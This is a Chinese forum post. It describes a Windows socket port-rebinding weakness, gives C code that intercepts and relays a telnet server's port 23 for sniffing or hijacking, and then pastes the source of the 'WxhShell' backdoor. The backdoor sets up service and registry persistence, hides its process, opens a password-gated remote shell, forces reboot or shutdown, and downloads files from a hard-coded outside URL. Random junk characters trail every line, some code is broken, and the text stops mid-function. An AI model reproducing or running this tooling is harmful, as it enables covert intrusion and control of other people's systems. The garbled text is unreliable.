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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: W biUz2)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (VPT% l6  
Yg;g!~   
  saddr.sin_family = AF_INET; q5$z:'zE  
mX8A XWIa  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %5_eos&<^)  
,u}n!quA  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); EO|r   
))n7.pB9/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 o(W|BD!  
@"~Mglgw  
  这意味着什么?意味着可以进行如下的攻击: %qzpt{'?<  
7eh|5e$@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 mf26AIlkQ  
y>S.B/ d  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) F:/R'0  
tVhY=X{N?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 OpwZTy}1}  
t[6g9e$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  S?{|qlpy  
Sa&~\!0t  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -(n[^48K  
|Hbe]2"x>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?l_>rSly5  
mu1oD;lQ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 b'$j* N  
;8~`fK  
  #include @1 #$  
  #include vf@d (g  
  #include 6e@ O88=  
  #include    AJrwl^ lm  
  DWORD WINAPI ClientThread(LPVOID lpParam);   cU25]V^{\  
  int main() 5 TD"  
  { lLHHuQpuj  
  WORD wVersionRequested; -Uz xs5Zl  
  DWORD ret; 1K'0ajl1A  
  WSADATA wsaData; h^P>pI~  
  BOOL val; %PG::b  
  SOCKADDR_IN saddr; *@Z/L26s;=  
  SOCKADDR_IN scaddr; `4cs.ab  
  int err; r'hr 'wZ  
  SOCKET s; z[Kxy1,  
  SOCKET sc; `h M:U  
  int caddsize; Ep}KIBBO  
  HANDLE mt; O.=~/!(  
  DWORD tid;   %E7+W{?*1  
  wVersionRequested = MAKEWORD( 2, 2 ); :^SpKe(7  
  err = WSAStartup( wVersionRequested, &wsaData ); ->}K-n ),  
  if ( err != 0 ) { DYH-5yX7  
  printf("error!WSAStartup failed!\n"); Z*kGWL  
  return -1; 'uUp1+  
  } v@k62@;  
  saddr.sin_family = AF_INET; $ 8w eh3p  
   =JyYU*G4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1fL@rR  
FTt7o'U  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); T\:3(+uK  
  saddr.sin_port = htons(23); =&,zWNz)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -8tWc]c |4  
  { q*A2>0O  
  printf("error!socket failed!\n"); %^"Tz,f  
  return -1; /U1GxX:P,  
  }  Be2@9  
  val = TRUE; -!MDYj+U  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  ew4IAF  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) o lNL|WJ`w  
  { `hS<F" j  
  printf("error!setsockopt failed!\n"); 8N(bLGUG  
  return -1; *|Re,cY  
  } ~0fT*lp  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; AEi@t0By  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3WJ> T1we  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 N|Ua|^  
Pp GNA  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) i#1T68y}  
  { P58U8MEG  
  ret=GetLastError(); 44?5]C7  
  printf("error!bind failed!\n"); $X9Ban]  
  return -1; (k M\R|  
  } vD) LRO Z  
  listen(s,2); v%&f00  
  while(1) 1q~U3'l:$  
  { !j4C:L3F  
  caddsize = sizeof(scaddr); .,,?[TI  
  //接受连接请求 T] EXm/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Sct-,K%i  
  if(sc!=INVALID_SOCKET) Vw9^otJu  
  { N>Y`>5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Dt1{]~30  
  if(mt==NULL) f\~e&`PV  
  { v5w I?HE  
  printf("Thread Creat Failed!\n"); @D"#B@j  
  break; q) /;|h  
  } %8$JL=c  
  } 2>fG}qYy$  
  CloseHandle(mt); yL.si)h(p  
  } yixW>W}  
  closesocket(s); WGG|d)'@  
  WSACleanup(); [p!C+ |rro  
  return 0; gKb4n Nt  
  }   K;6K!6J:[  
  DWORD WINAPI ClientThread(LPVOID lpParam) tb/u@}")  
  { FPMhHHM  
  SOCKET ss = (SOCKET)lpParam; AXPUJ?V  
  SOCKET sc; qvYYKu  
  unsigned char buf[4096]; ~c?yHpZx%  
  SOCKADDR_IN saddr; ~uC4>+dk  
  long num; um#;S;  
  DWORD val; 92Ar0j]  
  DWORD ret; NFLmM  
  //如果是隐藏端口应用的话,可以在此处加一些判断 UUb!2sO  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   S;ulJ*qv  
  saddr.sin_family = AF_INET; DGHX:Ft#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {yt]7^  
  saddr.sin_port = htons(23); W %R h2l  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~8pf.^,fi  
  { f,M$>!$V  
  printf("error!socket failed!\n"); AV d  
  return -1; 8ZG'?A+{  
  } #4na>G|  
  val = 100; tsfOPth$*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |,sUD/rt  
  { P603P  
  ret = GetLastError(); FbFUZ^Zj  
  return -1; :1Fm~'  
  } B"KsYB79t  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q=PaTh   
  { U"m!f*a  
  ret = GetLastError();  N%r}0  
  return -1; 7=QV^G  
  } D<++6HN&#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Mh+'f 93  
  { ~O1*]  
  printf("error!socket connect failed!\n"); 0^ E!P>  
  closesocket(sc); :WA o{|&  
  closesocket(ss); qZ\zsOnp  
  return -1; "mPa >`?  
  } _\]D<\St  
  while(1) z(\H.P#  
  { y\0^c5}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 t_]UseP$RF  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |!!E5osXq  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /mD KQ<  
  num = recv(ss,buf,4096,0); [7I|8  
  if(num>0) )&dhE^ O  
  send(sc,buf,num,0); cWRB=`=qz  
  else if(num==0) !+hX$_RT  
  break; VpV w:Rh>  
  num = recv(sc,buf,4096,0); ['R=@.  
  if(num>0) hLm9"N'Pf  
  send(ss,buf,num,0); M0]l!x#7  
  else if(num==0) 6J|f^W-fs  
  break; TJ; v}HSo  
  } bLV@Ts  
  closesocket(ss); 2OT6*+D  
  closesocket(sc); _)_XO92~  
  return 0 ; p\-.DRwT`  
  } oC7#6W:@w  
cF(9[8c{  
4tuEC-oh  
========================================================== M9&tys[KX  
~ml\|  
下边附上一个代码,,WXhSHELL $s]@%6 f  
iMA)(ZS  
========================================================== zf o.S[R@  
_-!6@^+  
#include "stdafx.h" >8 JvnBFx=  
Bp/8 >E O`  
#include <stdio.h> .ERO*Tj  
#include <string.h> w`7l ;7[  
#include <windows.h> c=b\9!hr_E  
#include <winsock2.h> YD+C1*c!  
#include <winsvc.h> O,OGq0c  
#include <urlmon.h> [ThzLk#m  
hPk+vvXtK  
#pragma comment (lib, "Ws2_32.lib") .86..1  
#pragma comment (lib, "urlmon.lib") kcOpO<oE  
@B^'W'&C  
#define MAX_USER   100 // 最大客户端连接数 KdR&OBm  
#define BUF_SOCK   200 // sock buffer <.v6w*+{/  
#define KEY_BUFF   255 // 输入 buffer n9J>yud|  
^Q OvK>W<  
#define REBOOT     0   // 重启 FN,uD:a  
#define SHUTDOWN   1   // 关机 < Ihn1?  
<bjy<98LT  
#define DEF_PORT   5000 // 监听端口 '~2v/[<`}  
|1<Z3\+_/  
#define REG_LEN     16   // 注册表键长度 eoL)gIM%  
#define SVC_LEN     80   // NT服务名长度 #-f^;=7  
5-3gsy/Mo  
// 从dll定义API A"k,T7B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -qEr-[z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W ,U'hk%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nx +& {hn(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W1!eY,1}  
6,h<0j{  
// wxhshell配置信息 jF5JpyOc  
struct WSCFG { y@Or2bO#  
  int ws_port;         // 监听端口 'q-h kN  
  char ws_passstr[REG_LEN]; // 口令 tQ|I$5jNJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y~:7l5C  
  char ws_regname[REG_LEN]; // 注册表键名 kL3=7t^ 1  
  char ws_svcname[REG_LEN]; // 服务名 nSC>x:jY5/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 X@G`AD'.M  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1k~jVC2VA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8xv\Zj+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }rQ*!2Y?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G`P+J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;8v5 qz  
'oEmbk8Hg  
}; $+);!?^|:  
ie ,{C  
// default Wxhshell configuration #Nd+X@j  
struct WSCFG wscfg={DEF_PORT, 2X]\:<[4  
    "xuhuanlingzhe", B>mQ\Q  
    1, <>:kAT,sP  
    "Wxhshell", M@K[i*e  
    "Wxhshell", o99 a=x6  
            "WxhShell Service", *o#`lH  
    "Wrsky Windows CmdShell Service", 51,m^veO  
    "Please Input Your Password: ", Ii8jY_  
  1, dkLR Q   
  "http://www.wrsky.com/wxhshell.exe", *,pqpD>  
  "Wxhshell.exe" h`Mf;'P  
    }; xVe!  
CP'-CQ\Q  
// 消息定义模块 B::?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "osYw\unI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; '8JaD6W9S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'YeJGzsJp  
char *msg_ws_ext="\n\rExit."; OG+$F  
char *msg_ws_end="\n\rQuit."; re!CF8 q  
char *msg_ws_boot="\n\rReboot..."; QHh#O+by#  
char *msg_ws_poff="\n\rShutdown..."; ~h/U ;Da  
char *msg_ws_down="\n\rSave to "; FN R& :  
gkdjH8(2  
char *msg_ws_err="\n\rErr!"; 3YRzBf:h  
char *msg_ws_ok="\n\rOK!"; r__M1 !3  
21[F%,{.),  
char ExeFile[MAX_PATH]; IW#(ICeb  
int nUser = 0; ;1 fML,8  
HANDLE handles[MAX_USER]; Pla EI p  
int OsIsNt; 6xe |L  
l rzW H0Q  
SERVICE_STATUS       serviceStatus; |H4'*NP"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 24Fxx9 g  
S@#L!sT`u  
// 函数声明 bsm,lx]bH^  
int Install(void); "mf;k^sqS  
int Uninstall(void); uz#9w\="  
int DownloadFile(char *sURL, SOCKET wsh); 4Rn i7qH  
int Boot(int flag); k.ZfjX"  
void HideProc(void); rBf?kDt6l  
int GetOsVer(void); M@\'Y$)Y{  
int Wxhshell(SOCKET wsl); bq O"k t  
void TalkWithClient(void *cs); kWd'gftQ  
int CmdShell(SOCKET sock); ^~Sn{esA  
int StartFromService(void); 4=Ey\Px  
int StartWxhshell(LPSTR lpCmdLine); 1|VJND  
NP8TF*5V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `{Jb{L@f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0FOf *Lz  
$#r(1 Ev  
// 数据结构和表定义 1N+#(<x@,  
SERVICE_TABLE_ENTRY DispatchTable[] = Sx2j~(pOr  
{ IoA;q)  
{wscfg.ws_svcname, NTServiceMain}, q*O KA5  
{NULL, NULL} YYHm0pc  
}; .IXwa,  
y#+o*(=fRE  
// 自我安装 4_<Uk  
int Install(void) * 5n:+Tw(  
{ J%)2,szn0  
  char svExeFile[MAX_PATH]; p2G8 Qls  
  HKEY key; U\ued=H  
  strcpy(svExeFile,ExeFile); F 4/Uu"J:  
R=PzR;8  
// 如果是win9x系统,修改注册表设为自启动 ja/[PHq"  
if(!OsIsNt) { ?=kswf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,k!a3"4+TJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fR%8?6  
  RegCloseKey(key); nQ\k{%Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1RA$hW@}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )^TQedF  
  RegCloseKey(key); +QX>:z  
  return 0; y~7lug  
    } @nu/0+8h{  
  } TXcKuo=  
} l'QR2r7&.  
else { zwtsw[.  
]B4mm__  
// 如果是NT以上系统,安装为系统服务 ~-d.3A $u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iC-ABOOu{l  
if (schSCManager!=0) BvF_9  
{ #=(op?]  
  SC_HANDLE schService = CreateService _GqE'VX  
  ( 1!3kAcBP  
  schSCManager, ozLJ#eOE9  
  wscfg.ws_svcname, fP58$pwu  
  wscfg.ws_svcdisp, 2r,'4%G  
  SERVICE_ALL_ACCESS, 5H+k_U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lIg2iun[n  
  SERVICE_AUTO_START, fh#_Mj+y  
  SERVICE_ERROR_NORMAL, sE6J:m(  
  svExeFile, "ux]kfoT  
  NULL, AvZ) 1(  
  NULL, {R;M`EU>  
  NULL, yU,xcq~l  
  NULL, 8n5nHne  
  NULL P-[K*/bPw  
  ); "\;wMR{  
  if (schService!=0) M%xL K7  
  { s2~dmZ_B|_  
  CloseServiceHandle(schService); AF]!wUKxy  
  CloseServiceHandle(schSCManager); S:/RYT"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ky#B'Bh}`g  
  strcat(svExeFile,wscfg.ws_svcname); t [hocl/6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I!gj;a?R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9 w1ONw8v  
  RegCloseKey(key); PU5mz.&0'  
  return 0; A@(h!Cq  
    } Hs=N0Sk]j  
  } tr8Cx~<  
  CloseServiceHandle(schSCManager); 4iqmi<[("  
} Z4ioXl  
} Y&+_p$13  
aG_O N0g  
return 1; SzX~;pFM0  
} od*Z$Hb>'  
vN:[  
// 自我卸载 xc.D!Iav  
int Uninstall(void) 9ox|.68q  
{ '%C.([  
  HKEY key; siYRRr  
Y>Hl0$:=  
if(!OsIsNt) { GA.bRN2CI2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AUsQj\Nm%  
  RegDeleteValue(key,wscfg.ws_regname); Fx5d@WNa>  
  RegCloseKey(key); 2 pa3}6P+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P lH`(n#  
  RegDeleteValue(key,wscfg.ws_regname); 3n(gfQo-o  
  RegCloseKey(key); ggc?J<Dv  
  return 0; ([b!$o<v  
  } y*h1W4:^-  
} zK4 8vo  
} _/~ ,a  
else { ,Bw)n,  
W#I:j: p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S?\hbM]V-o  
if (schSCManager!=0) Y{vwOs  
{ k_>Fw>Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <3=qLm  
  if (schService!=0) o Xi}@  
  { Du:p!nO  
  if(DeleteService(schService)!=0) { YQV?S  
  CloseServiceHandle(schService); An #Hb=  
  CloseServiceHandle(schSCManager); s%[GQQ-N  
  return 0; ywynx<Wg  
  } Kt,yn A  
  CloseServiceHandle(schService); !L. K)9I  
  } dP7Vs a+  
  CloseServiceHandle(schSCManager); ?4[Oh/]R  
} 4UD=Y?zK  
} U?mf^'RE  
ct4 [b|  
return 1; i4zV(  
} Qy5Os?9"  
[~c'|E8Q  
// 从指定url下载文件 <o!&Kk9  
int DownloadFile(char *sURL, SOCKET wsh) _b_?9b-)D  
{ ``|RO[+2  
  HRESULT hr; dM s||&|&  
char seps[]= "/"; {{ *]bGko  
char *token; X";Z Up  
char *file; E<Dh_K  
char myURL[MAX_PATH]; 6QLQ1k`  
char myFILE[MAX_PATH]; BCUt`;q ]B  
;=+Zw1/g  
strcpy(myURL,sURL); ,ah*!Zm.kk  
  token=strtok(myURL,seps); fA_%8CjI  
  while(token!=NULL) =Y/fF  
  { pq[X)]z|  
    file=token; u}}9j&^Xa  
  token=strtok(NULL,seps); Z%5nVsm:G  
  } g:DTVq  
4s~HfxYT  
GetCurrentDirectory(MAX_PATH,myFILE); #CA%]*l*F  
strcat(myFILE, "\\"); y (nsyA  
strcat(myFILE, file); VP %i1|XZJ  
  send(wsh,myFILE,strlen(myFILE),0); \} Acq;  
send(wsh,"...",3,0); / $9 :L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^+%tlX_+.  
  if(hr==S_OK) f-3'D-{EKt  
return 0; l^ 0_> R  
else hzQ+9-qA  
return 1; /}$T38  
%U5P}  
} xshAr J&A  
8VuZ,!WH#  
// 系统电源模块 Y62u%':X  
int Boot(int flag) wY3|#P CDV  
{ b-BM"~N'  
  HANDLE hToken; p2x1xv  
  TOKEN_PRIVILEGES tkp; $xA J9_2P  
~llMrl7  
  if(OsIsNt) { ~|'y+h89  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w3<"g&n|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~mK-8U4>K,  
    tkp.PrivilegeCount = 1; f `y" a@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $89ea*k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sB( `[5I  
if(flag==REBOOT) { s[3![ "^Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3WCqKXJ7  
  return 0; s~LZOPN  
} Z .bit_(  
else { >v1 y0zx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }KA-t}8  
  return 0; '<%Nw-  
} "*w)puD  
  } j,=*WG  
  else { VFl 1 f  
if(flag==REBOOT) { Q+b.-iWR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >+:r '  
  return 0; =t3vbV  
} _{e&@ d  
else { Ht|",1yr+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $N;"}G z  
  return 0; >*`>0Q4y  
} H DF"]l;  
} 3}B5hht "D  
,u}<Ws8N  
return 1; OL=ET)Y  
} 8:HSPDU.  
[jl2\3*  
// win9x进程隐藏模块 TBZ-17+  
void HideProc(void) 3(!/["@7  
{ IXZ(]&we  
Z|ZBKcmg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XogvtK*  
  if ( hKernel != NULL ) wJ+U[a  
  { 2{t)DUs  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {)B9Z I{+A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); CKv&Re  
    FreeLibrary(hKernel); F!7f_m0=  
  } g7xbyB o7  
\|2t TvW,0  
return; \6 \hnP  
} S3u yn78hI  
oGm1d{_-O  
// 获取操作系统版本 7E$eN8H  
int GetOsVer(void) Fweh =v  
{ uAu( +zV2  
  OSVERSIONINFO winfo; $gVLk.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %z*29iKlI  
  GetVersionEx(&winfo); <ROpuY\!l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hZAG (Z  
  return 1; f49"pTw7  
  else `$S^E !=  
  return 0; HEBqv+bG  
} Z)mX,=p  
v9%nau4  
// 客户端句柄模块 =/6p#d*0  
int Wxhshell(SOCKET wsl) M^z=1YrMd  
{ i?F[||O"$  
  SOCKET wsh; =~J"kC  
  struct sockaddr_in client; Ovv ny$  
  DWORD myID; XtCoX\da  
%_R$K#T^,  
  while(nUser<MAX_USER) *(k%MTG  
{ y7/PDB\he  
  int nSize=sizeof(client); }0QN[$H!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k/G7.)C  
  if(wsh==INVALID_SOCKET) return 1; NEA_Plt  
XwcMt r*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3brb*gI_b  
if(handles[nUser]==0)  bH*@,EE  
  closesocket(wsh); )ZH c$+fU  
else &yE1U#J(  
  nUser++; $+Vmwd;  
  } %=V"CJ$|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R N@^j  
 bRNK.[|  
  return 0; 7p^@;@V  
} ~<n(y-P^  
>;)2NrJV  
// 关闭 socket "2a$1Wmj(  
void CloseIt(SOCKET wsh) 0Cl,8P  
{ <B!'3C(P  
closesocket(wsh); ##H;Yb  
nUser--; Y}ng_c  
ExitThread(0); R|iEvt  
} - yoAxPDW  
[|4}~UV  
// 客户端请求句柄 N31?9GE  
void TalkWithClient(void *cs) bFg*l$`5  
{ a mqOxb  
{>@QJlE0  
  SOCKET wsh=(SOCKET)cs; ! .AhzU1%Y  
  char pwd[SVC_LEN]; %JQ~!3  
  char cmd[KEY_BUFF]; 6/| 0+G^  
char chr[1]; 6O9iEc,HM  
int i,j; z!$gVWG  
mj@31YW  
  while (nUser < MAX_USER) { XYjcJ  
IAf$]Fh  
if(wscfg.ws_passstr) { .`,F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); id^|\hDR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6 }!Z"  
  //ZeroMemory(pwd,KEY_BUFF); wepwX y"  
      i=0; ob E:kNE9  
  while(i<SVC_LEN) { Okpwh kPL5  
q +R*Hi  
  // 设置超时 9RQU?  
  fd_set FdRead; @lS==O-`f  
  struct timeval TimeOut; # :#M{1I  
  FD_ZERO(&FdRead); }f#_4ACaD  
  FD_SET(wsh,&FdRead); OUzR@$  
  TimeOut.tv_sec=8; i^*M^P3m  
  TimeOut.tv_usec=0; /s:w^ g~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n#BvW,6J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )CLf;@1  
y;nvR6)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r| f-_D  
  pwd=chr[0]; H?tUCbw  
  if(chr[0]==0xd || chr[0]==0xa) { oV9z(!X/  
  pwd=0; l-}KmZ]  
  break; +Q)ULnie e  
  } O|I+],  
  i++; $Jp~\_X  
    } "(,2L,Zh  
mG2VZ>  
  // 如果是非法用户,关闭 socket N5? IpE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); llq*T"7  
} gWOt]D&#/  
#{$1z;i?f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sw$2d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fG&=Ogy  
jY/ARBC}H  
while(1) { URA0ey`  
]tB@kBi "  
  ZeroMemory(cmd,KEY_BUFF); U\jb"  
#op:/j  
      // 自动支持客户端 telnet标准   @QdnjXII*  
  j=0; o@W_ai_  
  while(j<KEY_BUFF) { mu[Op*)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SO;N~D1Z6  
  cmd[j]=chr[0]; IkDiT63]I  
  if(chr[0]==0xa || chr[0]==0xd) { ;~+]! U  
  cmd[j]=0; lpy:3`ti  
  break; sWHyL(C@  
  } Izn T|l^  
  j++; <sX VW  
    } K]/Od  
h/2/vBs  
  // 下载文件 *%!M4&  
  if(strstr(cmd,"http://")) {  l{$[}<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); GqLq  gns  
  if(DownloadFile(cmd,wsh)) {6*#3m Kk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7 Wl-n  
  else ~$<UE}qp  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CqFeF?xd8h  
  } =dzWmL<~8  
  else { $DebXxJw0l  
khx.yRx  
    switch(cmd[0]) { 7 [d ?  
  ~_>cM c  
  // 帮助 V.6)0fKZW  
  case '?': { hJ*Ihwn|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ObG=>WPJa  
    break; SV.z>p  
  } s5D:  
  // 安装 UKtSm%\  
  case 'i': { y$b]7O  
    if(Install()) `Ye8 Q5v"]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HYCuK48F[_  
    else qMP1k7uG)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G.\l qYrXU  
    break; Kqg!,Sn|  
    } 6na^]t~ncm  
  // 卸载 TL0[@rr4  
  case 'r': { WsI>n  
    if(Uninstall()) (R*j|HAw`X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8'#/LA[uPe  
    else jlqv2V7=/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .cDOl_z<:G  
    break; g/~XCC^F?  
    } W)*p2 #l  
  // 显示 wxhshell 所在路径 5~H#(d<oZ  
  case 'p': { ZmEEj-*7s  
    char svExeFile[MAX_PATH]; S6xgiem  
    strcpy(svExeFile,"\n\r"); 7 oQ[FdRn*  
      strcat(svExeFile,ExeFile); mi,&0xDe a  
        send(wsh,svExeFile,strlen(svExeFile),0); 9GU]l7C=z  
    break; e6E?t[hEeS  
    } R>/ NE!q  
  // 重启 2`?!+")  
  case 'b': { R=]d%L8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Bv6 K$4  
    if(Boot(REBOOT)) Hfym30  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N&,]^>^u  
    else { 4x;_AN  
    closesocket(wsh); .}B(&*9,v  
    ExitThread(0); lDxc`S  
    } m GjN_  
    break; ?r=jF)C<'  
    } r(h`XMsU  
  // 关机 aEt/NwgiQ  
  case 'd': { 5jB* fIz  
